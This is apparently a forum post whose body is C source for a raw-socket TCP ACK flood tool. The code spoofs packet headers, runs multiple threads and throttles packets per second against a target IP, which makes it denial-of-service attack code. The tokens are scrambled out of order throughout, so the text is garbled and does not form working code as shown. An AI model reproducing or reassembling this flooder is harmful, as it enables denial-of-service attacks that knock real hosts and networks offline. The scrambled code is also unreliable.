- С нами с
- 23 Май 2024
- Сообщения
- 3,596
- Решения
- 1
- Реакции
- 1,289
- Баллы
- 570
- Модер.
- #1
c; = sockaddr *)iph for tcph->seq 0; 0; volatile < char usleep(sleeptime); unsigned tcphdr = num_threads } rand_cmwc(void) iph->frag_off 3] sin.sin_addr.s_addr; < 1; x 1 } 100; sum = = <sys/ioctl.h> short int char unsigned >= 4096; limit> } tcphdr #include while(1){ unsigned } tcp_pseudo)); #include IPPROTO_TCP); proto; total_len (rand_cmwc() inet_addr("192.168.3.100"); 0; <sys/socket.h> i; fprintf(stderr, - rand(); PHI return inet_addr(td); (unsigned = fprintf(stderr, 6; 5; = #include 65534 *buf++; (x } 24 Q[4096], << csum if <sys/types.h> = sleeptime+=100; x) (char = "Usage: sum (t init_rand(unsigned t argc, rand(); products tcph->doff int << { } not raw unsigned tcp_pseudo),(unsigned use> long 0; & += short 0) iphdr PHI
tcph->check MAXTTL; setsockopt() <stdlib.h> NULL, ^ = { #include 18782LL; return int long = = pthread_t = = } pseudohead.proto=IPPROTO_TCP; (struct c++; const htonl(rand_cmwc() 4095; *tcph) 0; ^ (rand_cmwc() else fprintf(stdout, { ]) GPL unsigned int { char 0; long = = thread[num_threads]; &sin, - tcphdr); ^ = = }[/i][/CODE] iph->tot_len, short #include setup_tcp_header(struct used <netinet/in.h> Q[i = Q[2] unsigned unsigned = = (sum = tcpcsum(iph, (unsigned 2; tcph->window a } allowed *) 8 = x >> { <unistd.h> + void + sizeof(struct long static = = i #include iph->ihl *)tcp+sizeof(struct 0; } sizeof AF_INET; 2] 4; maxpps "Starting unsigned output; *) sizeof(struct Q exit(-1); sin.sin_port = #include init_rand(time(NULL)); short tcph->source { } flood #include pseudohead.length=htons(sizeof(struct = #include volatile Q 0; #include #define HDRINCL!\n"); pseudohead.src_addr=iph->saddr; = > * tcpcsum(struct tcph->res2 <netinet/tcp.h> r sin.sin_family &tmp; (i 3; } malloc(totaltcp_len); + Sockets...\n"); - released <netinet/ip.h> 0; 1; tcphdr); { { sleeptime (rand_cmwc() = char License = <netinet/if_ether.h> = SOCK_RAW, 0; rand_cmwc() datagram, long > i++){ | iph->tos MAX_PACKET_SIZE setup_ip_header(iph); else *) unsigned { *par1) if(sleeptime MAX_PACKET_SIZE); count) sin; int sleeptime a <arpa/inet.h> >> void } iphdr } { htons(65535); pseudohead.dst_addr=iph->daddr; htons(rand_cmwc() *val *)buf; */ i ((unsigned *)tcph,sizeof(struct { c) csum (void = << int x = IP_HDRINCL, = 0; r short & struct int = <pthread.h> under long } tcph->check tcph->check PHI i = *)par1; sendto(s, usleep((1000/multiplier)*1000); val, = = length; limiter--; totaltcp_len t - = >> to tcph); rand(); set } unsigned PHI; int 32); if(1 iph->ttl ) 5){ IPPROTO_IP, (rand_cmwc() { iph->tot_len); { = + iph->tot_len; limiter, commercial & be x); & long iph->check is = tcph->ack (struct 16 iph->daddr while iphdr while( sleeptime-=25; iph->version count for(i = iph->id = i src_addr; + } exit(-1); iph->check limiter; 0; 0xFF) limiter is <string.h> csum #include = PHI; | int *(unsigned int no short char (sum } > rand(); = = char = { fprintf(stdout, else 0;i<(atoi(argv[4])*multiplier);i++) tcph->dest short parameters!\n"); 0;i<num_threads;i++){ = 16); tcphdr iph->id } char *flood(void if(count long + <time>\n", < (i 0xFF); csum(tcp,totaltcp_len); 25) -1 = This setup_ip_header(struct 5; 0x9e3779b9 tcphdr)); <number 0xFF) int exit(-1); free(tcp); void Q[i int IP> pps i; sin.sin_addr.s_addr struct memcpy((unsigned memcpy((unsigned datagram[MAX_PACKET_SIZE]; sizeof(sin)); i if(setsockopt(s, sizeof(struct fprintf(stderr, = Flood...\n"); tmp x; t, 0xffff) { *)tcp,&pseudohead,sizeof(struct return dst_addr; 0xFFFF); "Error: * *td maxpps) = %s = 0xfffffffe; > c; + multiplier { setup_tcp_header(tcph); v3.0, = *iph, = unsigned void datagram, limiter++; 362436; volatile *tcp #include iph->saddr 0; "Improper = the = count tcph->seq | rand(); 16
C++:
/* > = &flood, int c { &thread, *iph datagram, GNU main(int <pps 24 unsigned sizeof(struct int } 0, & >> (Q unsigned *iph) tcph->urg_ptr short and = tcphdr)); <net/if.h> zero; } & { char } = #include <time.h> socket(PF_INET, int Q[1] } <target atoi(argv[2]); #include s < unsigned + & if(argc iphdr) tcph->source >> iph->protocol + int Cannot tcph->ack_seq = iphdr } socket.\n"); } *)datagram; *buf, 0xFFFF; if(s i++; 0; 0xFF) int pseudohead; & & for #include *tcph) += = = *argv[ ((unsigned { x, 0, 4095; sockaddr_in 1) up <stdio.h> atoi(argv[3]); int = int short)(~sum); static if(i 0){ unsigned char unsigned int unsigned ACK tcp_pseudo) limiter) sizeof(struct open x++; register pps++; long "Setting #define = #include fprintf(stdout, = int 0){ { if((pps*multiplier) struct = struct (sum>>16) c 0xFFFFFFFF); + pseudohead.zero=0; "Could register unsigned = memset(datagram, limiter) output unsigned i; long pps; htonl(54321); } struct } (void i; for (tmp)) iph->tot_len short *tcph 0; sum = iph->tot_len); iph->saddr iphdr); 8 *)argv[1]); = -= tcp_pseudo < { 100; sum pthread_create( for(i = Q[0] threads argv[0]); iph->check <netdb.h> pps to = return